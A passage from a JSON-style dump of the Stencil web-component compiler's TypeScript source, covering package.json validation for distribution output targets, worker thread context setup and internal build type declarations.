originalExportName = typeReference.referenceLocation;\n        } else {\n          const typeIdParts = typeReference.id.split('::');\n          originalExportName = typeIdParts.length > 1 ? typeIdParts[typeIdParts.length - 1] : typeName;\n        }\n\n        existingTypeImportData[importResolvedFile].push({\n          // originalName: the name exported from the source module (for import { originalName as ... })\n          // localName: the name used in the component file (the alias if there is one)\n          // importName: Stencil-generated alias to avoid collisions in components.d.ts\n          originalName: originalExportName,\n          localName: typeName,\n          importName: newTypeName,\n          isDefault: typeReference.isDefault,\n        });\n      });\n\n    return existingTypeImportData;\n  };\n};\n"
  },
  {
    "path": "src/compiler/types/validate-build-package-json.ts",
    "content": "import {\n  COLLECTION_MANIFEST_FILE_NAME,\n  isGlob,\n  isOutputTargetDistCollection,\n  isString,\n  join,\n  normalizePath,\n  relative,\n} from '@utils';\nimport { dirname } from 'path';\n\nimport type * as d from '../../declarations';\nimport { packageJsonError, packageJsonWarn } from './package-json-log-utils';\nimport { validatePrimaryPackageOutputTarget } from './validate-primary-package-output-target';\n\n/**\n * Validate the package.json file for a project, checking that various fields\n * are set correctly for the currently-configured output targets.\n *\n * @param config the project's Stencil config\n * @param compilerCtx the compiler context\n * @param buildCtx the build context\n * @returns an empty Promise\n */\nexport const validateBuildPackageJson = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): Promise<void> => {\n  if (config.watch || buildCtx.packageJson == null) {\n    return;\n  }\n\n  // Validate any output target that the user has designated as the \"primary\"\n  // target that is bundled with their distribution\n  validatePrimaryPackageOutputTarget(config, compilerCtx, buildCtx);\n\n  const distCollectionOutputTargets = config.outputTargets.filter(isOutputTargetDistCollection);\n  await Promise.all(\n    distCollectionOutputTargets.map((distCollectionOT) =>\n      validateDistCollectionPkgJson(config, compilerCtx, buildCtx, distCollectionOT),\n    ),\n  );\n};\n\n/**\n * Validate package.json contents for the `DIST_COLLECTION` output target,\n * checking that various fields like `files`, `main`, and so on are set\n * correctly.\n *\n * @param config the stencil config\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @param outputTarget a DIST_COLLECTION output target\n */\nconst validateDistCollectionPkgJson = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTarget: d.OutputTargetDistCollection,\n) => {\n  await Promise.all([\n    validatePackageFiles(config, compilerCtx, buildCtx, outputTarget),\n    validateMain(config, compilerCtx, buildCtx, outputTarget),\n    validateCollection(config, compilerCtx, buildCtx, outputTarget),\n    validateBrowser(config, compilerCtx, buildCtx),\n  ]);\n};\n\n/**\n * Validate that the `files` field in `package.json` contains directories and\n * files that are necessary for the `DIST_COLLECTION` output target.\n *\n * @param config the stencil config\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @param outputTarget a DIST_COLLECTION output target\n */\nexport const validatePackageFiles = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTarget: d.OutputTargetDistCollection,\n) => {\n  if (!config.devMode && Array.isArray(buildCtx.packageJson.files)) {\n    const actualDistDir = normalizePath(relative(config.rootDir, outputTarget.dir));\n\n    const validPaths = [`${actualDistDir}`, `${actualDistDir}/`, `./${actualDistDir}`, `./${actualDistDir}/`];\n\n    const containsDistDir = buildCtx.packageJson.files.some((userPath) =>\n      validPaths.some((validPath) => normalizePath(userPath) === validPath),\n    );\n\n    if (!containsDistDir) {\n      const msg = `package.json \"files\" array must contain the distribution directory \"${actualDistDir}/\" when generating a distribution.`;\n      packageJsonWarn(config, compilerCtx, buildCtx, msg, `\"files\"`);\n      return;\n    }\n\n    await Promise.all(\n      buildCtx.packageJson.files.map(async (pkgFile) => {\n        if (!isGlob(pkgFile)) {\n          const packageJsonDir = dirname(config.packageJsonFilePath);\n          const absPath = join(packageJsonDir, pkgFile);\n\n          const hasAccess = await compilerCtx.fs.access(absPath);\n          if (!hasAccess) {\n            const msg = `Unable to find \"${pkgFile}\" within the package.json \"files\" array.`;\n            packageJsonError(config, compilerCtx, buildCtx, msg, `\"${pkgFile}\"`);\n          }\n        }\n      }),\n    );\n  }\n};\n\n/**\n * Check that the `main` field is set correctly in `package.json` for the\n * `DIST_COLLECTION` output target.\n *\n * @param config the stencil config\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @param outputTarget a DIST_COLLECTION output target\n */\nexport const validateMain = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTarget: d.OutputTargetDistCollection,\n) => {\n  const mainAbs = join(outputTarget.dir, 'index.cjs.js');\n  const mainRel = relative(config.rootDir, mainAbs);\n\n  if (!isString(buildCtx.packageJson.main) || buildCtx.packageJson.main === '') {\n    const msg = `package.json \"main\" property is required when generating a distribution. It's recommended to set the \"main\" property to: ${mainRel}`;\n    packageJsonWarn(config, compilerCtx, buildCtx, msg, `\"main\"`);\n  } else if (normalizePath(buildCtx.packageJson.main) !== normalizePath(mainRel)) {\n    const msg = `package.json \"main\" property is set to \"${buildCtx.packageJson.main}\". It's recommended to set the \"main\" property to: ${mainRel}`;\n    packageJsonWarn(config, compilerCtx, buildCtx, msg, `\"main\"`);\n  }\n};\n\n/**\n * Check that the `collection` field is set correctly in `package.json` for the\n * `DIST_COLLECTION` output target.\n *\n * @param config the stencil config\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @param outputTarget a DIST_COLLECTION output target\n */\nexport const validateCollection = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTarget: d.OutputTargetDistCollection,\n) => {\n  if (outputTarget.collectionDir) {\n    const collectionRel = normalizePath(\n      join(relative(config.rootDir, outputTarget.collectionDir), COLLECTION_MANIFEST_FILE_NAME),\n      false,\n    );\n    if (!buildCtx.packageJson.collection || normalizePath(buildCtx.packageJson.collection, false) !== collectionRel) {\n      const msg = `package.json \"collection\" property is required when generating a distribution and must be set to: ${collectionRel}`;\n      packageJsonWarn(config, compilerCtx, buildCtx, msg, `\"collection\"`);\n    }\n  }\n};\n\n/**\n * Check that the `browser` field is set correctly in `package.json` for the\n * `DIST_COLLECTION` output target.\n *\n * @param config the stencil config\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n */\nexport const validateBrowser = (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  if (isString(buildCtx.packageJson.browser)) {\n    const msg = `package.json \"browser\" property is set to \"${buildCtx.packageJson.browser}\". However, for maximum compatibility with all bundlers it's recommended to not set the \"browser\" property and instead ensure both \"module\" and \"main\" properties are set.`;\n    packageJsonWarn(config, compilerCtx, buildCtx, msg, `\"browser\"`);\n  }\n};\n"
  },
  {
    "path": "src/compiler/types/validate-primary-package-output-target.ts",
    "content": "import { buildWarn, isEligiblePrimaryPackageOutputTarget, isString, join, normalizePath, relative } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { packageJsonError, packageJsonWarn } from './package-json-log-utils';\n\n/**\n * Contains utility methods that can be used to generate recommended values for a\n * project's `package.json` fields that get validated for output targets designated\n * as `isPrimaryPackageOutputTarget`.\n */\nexport type PrimaryPackageOutputTargetRecommendedConfig = {\n  /**\n   * Generates the recommended path for the `module` property based on the output target type,\n   * the project's root directory, and the output target's designated output location.\n   *\n   * @param rootDir The Stencil project's root directory pulled from the validated config.\n   * @param outputTargetDir The output directory for the output target's compiled code.\n   * @returns The recommended path for the `module` property in a project's `package.json`\n   */\n  getModulePath: (rootDir: string, outputTargetDir: string) => string | null;\n  /**\n   * Generates the recommended path for the `types` property based on the output target type,\n   * the project's root directory, and the output target's configuration.\n   *\n   * `outputTargetConfig` is typed as `any` because downstream consumers may run into type conflicts\n   * with the `type` property of all the different \"eligible\" output targets.\n   *\n   * @param rootDir The Stencil project's root directory pulled from the validated config.\n   * @param outputTargetConfig The output target's config.\n   * @returns The recommended path for the `types` property in a project's `package.json`\n   */\n  getTypesPath: (rootDir: string, outputTargetConfig: any) => string | null;\n  /**\n   * Generates the recommended path for the `main` property based on the output target type,\n   * the project's root directory, and the output target's designated output location.\n   *\n   * Only used for generate export maps.\n   *\n   * @param rootDir The Stencil project's root directory pulled from the validated config.\n   * @param outputTargetDir The output directory for the output target's compiled code.\n   * @returns The recommended path for the `main` property in a project's `package.json`\n   */\n  getMainPath: (rootDir: string, outputTargetDir: string) => string | null;\n};\n\n/**\n * Contains a `PrimaryPackageOutputTargetRecommendedConfig` for each output target\n * that can be marked as `isPrimaryPackageOutputTarget`. Each config defines how\n * it will generate recommended values for certain `package.json` fields.\n */\nexport const PRIMARY_PACKAGE_TARGET_CONFIGS = {\n  dist: {\n    getModulePath: (rootDir: string, outputTargetDir: string) =>\n      normalizePath(relative(rootDir, join(outputTargetDir, 'index.js'))),\n    getTypesPath: (rootDir: string, outputTargetConfig: any) =>\n      normalizePath(relative(rootDir, join(outputTargetConfig.typesDir!, 'index.d.ts'))),\n    getMainPath: (rootDir: string, outputTargetDir: string) =>\n      normalizePath(relative(rootDir, join(outputTargetDir, 'index.cjs.js'))),\n  },\n  'dist-collection': {\n    getModulePath: (rootDir: string, outputTargetDir: string) =>\n      normalizePath(relative(rootDir, join(outputTargetDir, 'index.js'))),\n    getTypesPath: () => null,\n    getMainPath: () => null,\n  },\n  'dist-custom-elements': {\n    getModulePath: (rootDir: string, outputTargetDir: string) =>\n      normalizePath(relative(rootDir, join(outputTargetDir, 'index.js'))),\n    getTypesPath: (rootDir: string, outputTargetConfig: any) => {\n      return outputTargetConfig.generateTypeDeclarations\n        ? normalizePath(relative(rootDir, join(outputTargetConfig.dir!, 'index.d.ts')))\n        : null;\n    },\n    getMainPath: () => null,\n  },\n  'dist-types': {\n    getModulePath: () => null,\n    getTypesPath: (rootDir: string, outputTargetConfig: any) =>\n      normalizePath(relative(rootDir, join(outputTargetConfig.typesDir, 'index.d.ts'))),\n    getMainPath: () => null,\n  },\n} satisfies Record<d.EligiblePrimaryPackageOutputTarget['type'], PrimaryPackageOutputTargetRecommendedConfig>;\n\n/**\n * Performs validation for specified fields in a Stencil project's\n * `package.json` based on output targets being designated as\n * `isPrimaryPackageOutputTarget`.\n *\n * @param config The Stencil project's config.\n * @param compilerCtx The project's compiler context.\n * @param buildCtx The project's build context.\n */\nexport const validatePrimaryPackageOutputTarget = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n) => {\n  if (config.validatePrimaryPackageOutputTarget) {\n    const eligiblePrimaryTargets: d.EligiblePrimaryPackageOutputTarget[] = [];\n    const nonPrimaryTargets: d.OutputTarget[] = [];\n\n    // Push each output target in the config into its respective\n    // classification for validation messages\n    // Using a `foreach` prevents us from iterating over\n    // the array multiple times\n    config.outputTargets.forEach((ref) => {\n      if (isEligiblePrimaryPackageOutputTarget(ref)) {\n        eligiblePrimaryTargets.push(ref);\n      } else {\n        nonPrimaryTargets.push(ref);\n      }\n    });\n\n    // If there are no output targets designated as \"primary\", then we should warn the user\n    // to designate one. In this case, we aren't gonna do any validation\n    if (eligiblePrimaryTargets.length) {\n      const targetsMarkedToValidate = eligiblePrimaryTargets.filter((ref) => ref.isPrimaryPackageOutputTarget);\n\n      if (targetsMarkedToValidate.length) {\n        // A user should only designate one target to validate against\n        // Log a warning if they try to have more than one, but we'll only validate\n        // the first one in the array\n        if (targetsMarkedToValidate.length > 1) {\n          logValidationWarning(\n            buildCtx,\n            `Your Stencil config has multiple output targets with 'isPrimaryPackageOutputTarget: true'. Stencil does not support validating 'package.json' fields for multiple output targets. Please remove the 'isPrimaryPackageOutputTarget' flag from all but one of the following output targets: ${targetsMarkedToValidate\n              .map((ref) => ref.type)\n              .join(\n                ', ',\n              )}. For now, Stencil will use the first primary target it finds. You can read more about primary package output targets in the Stencil docs: https://stenciljs.com/docs/output-targets#primary-package-output-target-validation`,\n          );\n        }\n\n        // Validate shared fields\n        // Currently, this is only `module` and `types`\n        // We only validate the first target that is designated\n        const targetToValidate = targetsMarkedToValidate[0];\n        const recommendedConfig = PRIMARY_PACKAGE_TARGET_CONFIGS[targetToValidate.type];\n        if (recommendedConfig != null) {\n          validateModulePath(config, compilerCtx, buildCtx, recommendedConfig, targetToValidate);\n          validateTypesPath(config, compilerCtx, buildCtx, recommendedConfig, targetToValidate);\n        }\n      } else {\n        logValidationWarning(\n          buildCtx,\n          `Your Stencil project has not assigned a primary package output target. Stencil recommends that you assign a primary output target so it can validate values for fields in your project's 'package.json'. You can read more about primary package output targets in the Stencil docs: https://stenciljs.com/docs/output-targets#primary-package-output-target-validation`,\n        );\n      }\n    }\n\n    // Log a warning if any targets that cannot be validated were marked as \"primary\"\n    if (nonPrimaryTargets.length && nonPrimaryTargets.some((ref: any) => ref.isPrimaryPackageOutputTarget)) {\n      logValidationWarning(\n        buildCtx,\n        `Your Stencil project has assigned one or more ineligible output targets as the primary package output target. No validation will take place. Please remove the 'isPrimaryPackageOutputTarget' flag from the following output targets in your Stencil config: ${nonPrimaryTargets\n          .filter((ref: any) => ref.isPrimaryPackageOutputTarget === true)\n          .map((ref) => ref.type)\n          .join(\n            ', ',\n          )}. You can read more about primary package output targets in the Stencil docs: https://stenciljs.com/docs/output-targets#primary-package-output-target-validation`,\n      );\n    }\n  } else {\n    if (config.outputTargets.some((ref: any) => ref.isPrimaryPackageOutputTarget)) {\n      logValidationWarning(\n        buildCtx,\n        'Your Stencil project has designated a primary package output target without enabling primary package validation for your project. Either set `validatePrimaryPackageOutputTarget: true` in your Stencil config or remove `isPrimaryPackageOutputTarget: true` from all output targets. You can read more about primary package output targets in the Stencil docs: https://stenciljs.com/docs/output-targets#primary-package-output-target-validation',\n      );\n    }\n  }\n};\n\n/**\n * Validates the `module` field in a Stencil project's `package.json`. This function performs\n * basic checks for a value to be set for `module` as well as checks that the specified path\n * matches Stencil's recommended value based on the output target the user designated to be used\n * for validation (i.e. `isPrimaryPackageOutputTarget: true`).\n *\n * If a value does not exist or does not match the recommended path, a _warning_ will be logged to\n * the console at build time.\n *\n * @param config The Stencil project's config.\n * @param compilerCtx The project's compiler context.\n * @param buildCtx The project's build context.\n * @param recommendedOutputTargetConfig The config object containing the function to generate the Stencil\n * recommended value for the `module` path based on the output target type.\n * @param targetToValidate The output target to validate against.\n */\nexport const validateModulePath = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  recommendedOutputTargetConfig: PrimaryPackageOutputTargetRecommendedConfig,\n  targetToValidate: d.EligiblePrimaryPackageOutputTarget,\n) => {\n  const currentModulePath = buildCtx.packageJson.module;\n  const recommendedModulePath = recommendedOutputTargetConfig.getModulePath\n    ? recommendedOutputTargetConfig.getModulePath(config.rootDir, targetToValidate.dir!)\n    : null;\n\n  let warningMessage: string | null = null;\n  if (!isString(currentModulePath) || currentModulePath === '') {\n    warningMessage = 'package.json \"module\" property is required when generating a distribution.';\n\n    if (recommendedModulePath != null) {\n      warningMessage += ` It's recommended to set the \"module\" property to: ${recommendedModulePath}`;\n    }\n  } else if (recommendedModulePath != null && recommendedModulePath !== normalizePath(currentModulePath)) {\n    warningMessage = `package.json \"module\" property is set to \"${currentModulePath}\". It's recommended to set the \"module\" property to: ${recommendedModulePath}`;\n  }\n\n  if (warningMessage?.length) {\n    packageJsonWarn(config, compilerCtx, buildCtx, warningMessage, `\"module\"`);\n  }\n};\n\n/**\n * Validates the `types` field in a Stencil project's `package.json`. This function performs\n * basic checks for a value to be set for `types` as well as checks that the specified path\n * matches Stencil's recommended value based on the output target the user designated to be used\n * for validation (i.e. `isPrimaryPackageOutputTarget: true`).\n *\n * If a value does not exist or does not match the recommended path, a warning _or_ error will be logged to\n * the console at build time.\n *\n * @param config The Stencil project's config.\n * @param compilerCtx The project's compiler context.\n * @param buildCtx The project's build context.\n * @param recommendedOutputTargetConfig The config object containing the function to generate the Stencil\n * recommended value for the `types` path based on the output target type.\n * @param targetToValidate The output target to validate against.\n */\nexport const validateTypesPath = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  recommendedOutputTargetConfig: PrimaryPackageOutputTargetRecommendedConfig,\n  targetToValidate: d.EligiblePrimaryPackageOutputTarget,\n) => {\n  const currentTypesPath = buildCtx.packageJson.types;\n  const recommendedTypesPath = recommendedOutputTargetConfig.getTypesPath\n    ? recommendedOutputTargetConfig.getTypesPath(config.rootDir, targetToValidate)\n    : null;\n\n  let warningMessage: string | null = null;\n  let errorMessage: string | null = null;\n  if (!isString(currentTypesPath) || currentTypesPath === '') {\n    warningMessage = `package.json \"types\" property is required when generating a distribution. It's recommended to set the \"types\" property to: ${recommendedTypesPath}`;\n  } else if (!currentTypesPath.endsWith('.d.ts')) {\n    warningMessage = `package.json \"types\" file must have a \".d.ts\" extension. The \"types\" property is currently set to: ${currentTypesPath}`;\n  } else if (recommendedTypesPath != null && recommendedTypesPath !== normalizePath(currentTypesPath)) {\n    warningMessage = `package.json \"types\" property is set to \"${currentTypesPath}\". It's recommended to set the \"types\" property to: ${recommendedTypesPath}`;\n  } else {\n    const typesFile = join(config.rootDir, currentTypesPath);\n    const typesFileExists = compilerCtx.fs.accessSync(typesFile);\n    if (!typesFileExists) {\n      errorMessage = `package.json \"types\" property is set to \"${currentTypesPath}\" but cannot be found.`;\n    }\n  }\n\n  if (errorMessage?.length) {\n    packageJsonError(config, compilerCtx, buildCtx, errorMessage, `\"types\"`);\n  } else if (warningMessage?.length) {\n    packageJsonWarn(config, compilerCtx, buildCtx, warningMessage, `\"types\"`);\n  }\n};\n\nconst logValidationWarning = (buildCtx: d.BuildCtx, message: string) => {\n  const warning = buildWarn(buildCtx.diagnostics);\n  warning.header = 'Stencil Config';\n  warning.messageText = message;\n};\n"
  },
  {
    "path": "src/compiler/worker/main-thread.ts",
    "content": "import { CompilerWorkerContext, WorkerMainController } from '../../declarations';\n\n/**\n * Instantiate a worker context which is specific to the 'main thread' and\n * which dispatches the tasks it receives to a {@link WorkerMainController}\n * (and, thereby, to workers in other threads).\n *\n * @param workerCtrl a worker controller which can handle the methods on the\n * context by passing them to worker threads\n * @returns a worker context\n */\nexport const createWorkerMainContext = (workerCtrl: WorkerMainController): CompilerWorkerContext => ({\n  optimizeCss: workerCtrl.handler('optimizeCss'),\n  prepareModule: workerCtrl.handler('prepareModule'),\n  prerenderWorker: workerCtrl.handler('prerenderWorker'),\n  transformCssToEsm: workerCtrl.handler('transformCssToEsm'),\n});\n"
  },
  {
    "path": "src/compiler/worker/worker-thread.ts",
    "content": "import type * as d from '../../declarations';\nimport { optimizeCss } from '../optimize/optimize-css';\nimport { prepareModule } from '../optimize/optimize-module';\nimport { prerenderWorker } from '../prerender/prerender-worker';\nimport { transformCssToEsm } from '../style/css-to-esm';\n\n/**\n * Instantiate a worker context which synchronously calls the methods that are\n * defined on it (as opposed to dispatching them to a worker in another thread\n * via a worker controller). We want to do this in two cases:\n *\n * 1. we're in the main thread and not using any workers at all (i.e. the value\n *    for {@link d.Config['maxConcurrentWorkers']} is set to `1`) or\n * 2. we're already in a worker thread, so we want to call the method directly\n *    instead of dispatching.\n *\n * @param sys a compiler system appropriate for our current environment\n * @returns a worker context which directly calls the supported methods\n */\nexport const createWorkerContext = (sys: d.CompilerSystem): d.CompilerWorkerContext => ({\n  transformCssToEsm,\n  prepareModule,\n  optimizeCss,\n  prerenderWorker: (prerenderRequest) => prerenderWorker(sys, prerenderRequest),\n});\n\n/**\n * Create a handler for the IPC messages ({@link d.MsgToWorker}) that a worker\n * thread receives from the main thread. For each message that we receive we\n * need to call a specific method on {@link d.CompilerWorkerContext} and then\n * return the result\n *\n * @param sys a compiler system which wil be used to create a worker context\n * @returns a message handler capable of digesting and executing tasks\n * described by {@link d.MsgToWorker} object\n */\nexport const createWorkerMessageHandler = (sys: d.CompilerSystem): d.WorkerMsgHandler => {\n  const workerCtx = createWorkerContext(sys);\n\n  return <T extends d.WorkerContextMethod>(msgToWorker: d.MsgToWorker<T>): ReturnType<d.CompilerWorkerContext[T]> => {\n    const fnName = msgToWorker.method;\n    const fnArgs = msgToWorker.args;\n    const fn = workerCtx[fnName];\n    // This is actually fine! However typescript doesn't agree. Both the\n    // `Parameters` and the `ReturnType` arguments return a union of tuples in\n    // the case where their parameter is generic over some type (e.g. `T` here)\n    // but, annoyingly, TypeScript does not think that you can spread a value\n    // whose type is a union of tuples as a rest param. Even though the type of\n    // `fn` and `fnArgs` should 'match' given the type `T` that they are\n    // generic over, TypeScript does not seem able to realize that and can't\n    // narrow the type of `fn` _or_ `fnArgs` properly, so the type for the\n    // parameters of `fn` _and_ the type of `fnArgs` remains a union of tuples.\n    // Gah!\n    //\n    // See this issue for some context on this:\n    // https://github.com/microsoft/TypeScript/issues/49700\n    //\n    // Unfortunately there's not a great solution here other than:\n    // @ts-ignore\n    return fn(...fnArgs);\n  };\n};\n"
  },
  {
    "path": "src/declarations/child_process.ts",
    "content": "import type { Serializable } from 'child_process';\n\n// this is just so that we can bundle this type for `stencil-private.d.ts`\n// without having to run dts-bundle-generator on that whole file\nexport { Serializable as CPSerializable };\n"
  },
  {
    "path": "src/declarations/index.ts",
    "content": "export * from './stencil-private';\nexport * from './stencil-public-compiler';\nexport * from './stencil-public-runtime';\n"
  },
  {
    "path": "src/declarations/readme.md",
    "content": "# Declarations\n\n\n## `index.ts`\n\nIndex of every declaration within Stencil's source for convenience. Exports both public and private declarations. Meant to only be used by Stencil's source code so `* as d from './declarations` is easy to use.\n\n\n## `stencil-private`\n\nDeclarations like `CompilerCtx` and `BuildCtx` would be in here. Declarations in this file should always be safe to refactor and are never meant to be used by external code.\n\n\n## `stencil-public-compiler`\n\nBuild time declarations for the compiler that can be publicly exposed, but this file itself is never directly imported by user code. Declarations like `Config` and `OutputTarget` would be in here.\n\n\n## `stencil-public-runtime`\n\nClient-side declarations for the runtime that can be publicly exposed, but this file itself is never directly imported by user code. Declarations like `HTMLStencilElement`, `JSXBase`, and `Component` would be in here.\n\nThis is also the file that would be copied to distribution `dist/types` directories. For example, a dist `dist/types/components.d.ts` file would start with `import { HTMLStencilElement, JSXBase } from './stencil.public';`, so the `stencil.public.runtime.d.ts` file should be a sibling. A distribution copy of Stencil Core declarations should not have a dependency of `@stencil/core`.\n\n\n## `stencil-core`\n\nThe actual public declarations when `@stencil/core` is imported by developer code. This should be a minimal list that exports with specific declarations from `stencil.public.compiler` and `stencil.public.runtime`.\n\n\n## `stencil-ext-modules`\n\nThe TypeScript declaration file used so that TypeScript can import `.svg` or `.css` files without throwing errors. Build steps will manually copy this to the correct location."
  },
  {
    "path": "src/declarations/stencil-ext-modules.d.ts",
    "content": "declare module '*.css' {\n  const src: () => string;\n  export default src;\n}\n\ndeclare module '*.svg' {\n  const src: string;\n  export default src;\n}\n\ndeclare module '*.txt' {\n  const src: string;\n  export default src;\n}\n\ndeclare module '*.frag' {\n  const src: string;\n  export default src;\n}\n\ndeclare module '*.vert' {\n  const src: string;\n  export default src;\n}\n\ndeclare module '*?worker' {\n  export const worker: Worker;\n  export const workerMsgId: string;\n  export const workerName: string;\n  export const workerPath: string;\n}\n\ndeclare module '*?format=url' {\n  const src: string;\n  export default src;\n}\n\ndeclare module '*?format=text' {\n  const content: string;\n  export default content;\n}\n"
  },
  {
    "path": "src/declarations/stencil-private.ts",
    "content": "import { result } from '@utils';\n\nimport type { InMemoryFileSystem } from '../compiler/sys/in-memory-fs';\nimport type { CPSerializable } from './child_process';\nimport type {\n  BuildEvents,\n  BuildLog,\n  BuildResultsComponentGraph,\n  CompilerBuildResults,\n  CompilerFsStats,\n  CompilerRequestResponse,\n  CompilerSystem,\n  Config,\n  CopyResults,\n  DevServerConfig,\n  DevServerEditor,\n  Diagnostic,\n  Logger,\n  LoggerLineUpdater,\n  LoggerTimeSpan,\n  OptimizeCssInput,\n  OptimizeCssOutput,\n  OutputTarget,\n  OutputTargetWww,\n  PageReloadStrategy,\n  PrerenderConfig,\n  StyleDoc,\n  TaskCommand,\n  ValidatedConfig,\n} from './stencil-public-compiler';\nimport type { JsonDocMethodParameter } from './stencil-public-docs';\nimport type { ComponentInterface, ListenTargetOptions, VNode } from './stencil-public-runtime';\n\nexport interface DocData {\n  hostIds: number;\n  rootLevelIds: number;\n  staticComponents: Set<string>;\n}\nexport type StencilDocument = Document & { _stencilDocData: DocData };\n\nexport interface SourceMap {\n  file: string;\n  mappings: string;\n  names: string[];\n  sourceRoot?: string;\n  sources: string[];\n  sourcesContent?: (string | null)[];\n  version: number;\n}\n\nexport interface PrintLine {\n  lineIndex: number;\n  lineNumber: number;\n  text: string;\n  errorCharStart: number;\n  errorLength?: number;\n}\n\nexport interface AssetsMeta {\n  absolutePath: string;\n  cmpRelativePath: string;\n  originalComponentPath: string;\n}\n\nexport interface ParsedImport {\n  importPath: string;\n  basename: string;\n  ext: string;\n  data: ImportData;\n}\n\nexport interface ImportData {\n  tag?: string;\n  encapsulation?: string;\n  mode?: string;\n}\n\nexport interface SerializeImportData extends ImportData {\n  importeePath: string;\n  importerPath?: string;\n  /**\n   * True if this is a node module import (e.g. using ~ prefix like ~foo/style.css)\n   * These should be treated as bare module specifiers and not have ./ prepended\n   */\n  isNodeModule?: boolean;\n}\n\nexport interface BuildFeatures {\n  // encapsulation\n  style: boolean;\n  mode: boolean;\n  formAssociated: boolean;\n\n  // dom\n  shadowDom: boolean;\n  shadowDelegatesFocus: boolean;\n  shadowSlotAssignmentManual: boolean;\n  scoped: boolean;\n\n  // render\n  /**\n   * Every component has a render function\n   */\n  allRenderFn: boolean;\n  /**\n   * At least one component has a render function\n   */\n  hasRenderFn: boolean;\n\n  // vdom\n  vdomRender: boolean;\n  vdomAttribute: boolean;\n  vdomClass: boolean;\n  vdomFunctional: boolean;\n  vdomKey: boolean;\n  vdomListener: boolean;\n  vdomPropOrAttr: boolean;\n  vdomRef: boolean;\n  vdomStyle: boolean;\n  vdomText: boolean;\n  vdomXlink: boolean;\n  slotRelocation: boolean;\n\n  // elements\n  slot: boolean;\n  svg: boolean;\n\n  // decorators\n  element: boolean;\n  event: boolean;\n  hostListener: boolean;\n  hostListenerTargetWindow: boolean;\n  hostListenerTargetDocument: boolean;\n  hostListenerTargetBody: boolean;\n  /**\n   * @deprecated Prevented from new apps, but left in for older collections\n   */\n  hostListenerTargetParent: boolean;\n  hostListenerTarget: boolean;\n  method: boolean;\n  prop: boolean;\n  propChangeCallback: boolean;\n  propMutable: boolean;\n  state: boolean;\n  member: boolean;\n  updatable: boolean;\n  propBoolean: boolean;\n  propNumber: boolean;\n  propString: boolean;\n  serializer: boolean;\n  deserializer: boolean;\n\n  // lifecycle events\n  lifecycle: boolean;\n  asyncLoading: boolean;\n\n  // attr\n  observeAttribute: boolean;\n  reflect: boolean;\n\n  taskQueue: boolean;\n}\n\nexport interface BuildConditionals extends Partial<BuildFeatures> {\n  hotModuleReplacement?: boolean;\n  isDebug?: boolean;\n  isTesting?: boolean;\n  isDev?: boolean;\n  devTools?: boolean;\n  invisiblePrehydration?: boolean;\n  hydrateServerSide?: boolean;\n  hydrateClientSide?: boolean;\n  lifecycleDOMEvents?: boolean;\n  cssAnnotations?: boolean;\n  lazyLoad?: boolean;\n  profile?: boolean;\n  constructableCSS?: boolean;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  appendChildSlotFix?: boolean;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  slotChildNodesFix?: boolean;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  scopedSlotTextContentFix?: boolean;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  cloneNodeFix?: boolean;\n  hydratedAttribute?: boolean;\n  hydratedClass?: boolean;\n  hydratedSelectorName?: string;\n  initializeNextTick?: boolean;\n  // TODO(STENCIL-1305): remove this option\n  scriptDataOpts?: boolean;\n  // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field\n  shadowDomShim?: boolean;\n  asyncQueue?: boolean;\n  // TODO: deprecated in favour of `setTagTransformer` and `transformTag`. Remove in 5.0\n  transformTagName?: boolean;\n  additionalTagTransformers?: boolean | 'prod';\n  attachStyles?: boolean;\n\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  experimentalSlotFixes?: boolean;\n  // TODO(STENCIL-1086): remove this option when it's the default behavior\n  experimentalScopedSlotChanges?: boolean;\n  addGlobalStyleToComponents?: boolean | 'client';\n}\n\nexport type ModuleFormat =\n  | 'amd'\n  | 'cjs'\n  | 'es'\n  | 'iife'\n  | 'system'\n  | 'umd'\n  | 'commonjs'\n  | 'esm'\n  | 'module'\n  | 'systemjs';\n\nexport interface RollupResultModule {\n  id: string;\n}\nexport interface RollupResults {\n  modules: RollupResultModule[];\n}\n\nexport interface UpdatedLazyBuildCtx {\n  name: 'esm-browser' | 'esm' | 'cjs' | 'system';\n  buildCtx: BuildCtx;\n}\n\nexport interface BuildCtx {\n  buildId: number;\n  buildResults: CompilerBuildResults;\n  buildStats?: result.Result<CompilerBuildStats, { diagnostics: Diagnostic[] }>;\n  buildMessages: string[];\n  bundleBuildCount: number;\n  collections: CollectionCompilerMeta[];\n  compilerCtx: CompilerCtx;\n  esmBrowserComponentBundle: ReadonlyArray<BundleModule>;\n  esmComponentBundle: ReadonlyArray<BundleModule>;\n  es5ComponentBundle: ReadonlyArray<BundleModule>;\n  systemComponentBundle: ReadonlyArray<BundleModule>;\n  commonJsComponentBundle: ReadonlyArray<BundleModule>;\n  components: ComponentCompilerMeta[];\n  componentGraph: Map<string, 